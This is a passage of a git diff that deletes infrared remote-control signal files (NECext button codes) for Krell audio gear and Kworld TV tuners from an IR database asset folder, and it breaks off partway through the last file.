a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir deleted file mode 100644 index 97271dd56..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GAIN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: PRE_AMP_INPUT_E -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: PRE_AMP_INPUT_F -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: S-2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: PRE_AMP_INPUT_A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: PRE_AMP_INPUT_B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: PRE_AMP_INPUT_C -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 24 00 00 00 -# -name: B-1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 24 00 00 00 -# -name: PRE_AMP_INPUT_D -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: B-2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 -# -name: AMP_POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 -# -name: MTR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir deleted file mode 100644 index 687f88385..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: M2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: TUN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: MAIN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: Z2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: PRE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir deleted file mode 100644 index 512d3cf9f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SUB -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: CNTR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0C 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0E 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 10 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 12 00 00 00 -# -name: PRE-AMP_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: BAL -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1A 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 33 00 00 00 -# -name: ST -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 35 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir deleted file mode 100644 index 1d6deb017..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SV2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir deleted file mode 100644 index 46ac6effa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SYSTEM_1_2_3 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir deleted file mode 100644 index 54001143b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 -# -name: AMP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 -# -name: METER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir deleted file mode 100644 index a1344ec82..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: M2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: MAIN_ZONE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: USER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: PRE1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir deleted file mode 100644 index e86b5863a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SUB -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 01 00 00 00 -# -name: REAR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 02 00 00 00 -# -name: CNTR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 06 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 07 00 00 00 -# -name: CURSER_DOWN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0B 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0C 00 00 00 -# -name: CURSER_RIGHT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0D 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0E 00 00 00 -# -name: CURSER_LEFT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 0F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 10 00 00 00 -# -name: CURSER_UP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 11 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 12 00 00 00 -# -name: MAIN_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: HTS_POWER -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: PRE -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 13 00 00 00 -# -name: S2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1D 00 00 00 -# -name: S3 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1E 00 00 00 -# -name: S4 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1F 00 00 00 -# -name: S5 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 20 00 00 00 -# -name: C2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 22 00 00 00 -# -name: T1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 23 00 00 00 -# -name: T2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 24 00 00 00 -# -name: XLR -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 25 00 00 00 -# -name: RF -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 26 00 00 00 -# -name: SV2 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 2A 00 00 00 -# -name: M1 -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 33 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 35 00 00 00 -# -name: ST -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 35 00 00 00 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3E 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir deleted file mode 100644 index 46ac6effa..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SYSTEM_1_2_3 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir deleted file mode 100644 index 5924a6579..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 08 00 00 00 -# -name: numpad_up -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0A 00 00 00 -# -name: numpad_enter -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0D 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 10 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 14 00 00 00 -# -name: stereo -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 15 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 16 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 17 00 00 00 -# -name: shut_down -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 18 00 00 00 -# -name: timeshift -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 19 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1A 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 1F 00 00 00 -# -name: scan_rev -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 40 00 00 00 -# -name: scan_fwd -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 41 00 00 00 -# -name: chapter_rev -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 42 00 00 00 -# -name: chatper_fwd -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 43 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 44 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 45 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 48 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 49 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4A 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4B 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4C 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4D 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4E 00 00 00 -# -name: KEY_H -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir deleted file mode 100644 index 625922a34..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir +++ /dev/null @@ -1,428 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: turnup -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 01 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 02 00 00 00 -# -name: tv/fm -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 03 00 00 00 -# -name: fm-freq- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: function- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: function- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 06 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 07 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 09 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0B 00 00 00 -# -name: fm_freq+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: function+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: function+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0C 00 00 00 -# -name: mts -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0D 00 00 00 -# -name: function -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0E 00 00 00 -# -name: minimze -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 0F 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 10 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 12 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: snap -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 15 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 16 00 00 00 -# -name: fm_scan- -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: turnleft -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 18 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 19 00 00 00 -# -name: snapshot -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1B 00 00 00 -# -name: scan -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1C 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1E 00 00 00 -# -name: fm_scan+ -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 86 6B 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir deleted file mode 100644 index 8f220d31b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 08 00 00 00 -# -name: numpad_up -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 FB 00 00 -command: 0A 00 00 00 -# -name: numpad_enter -type: parsed -protocol: 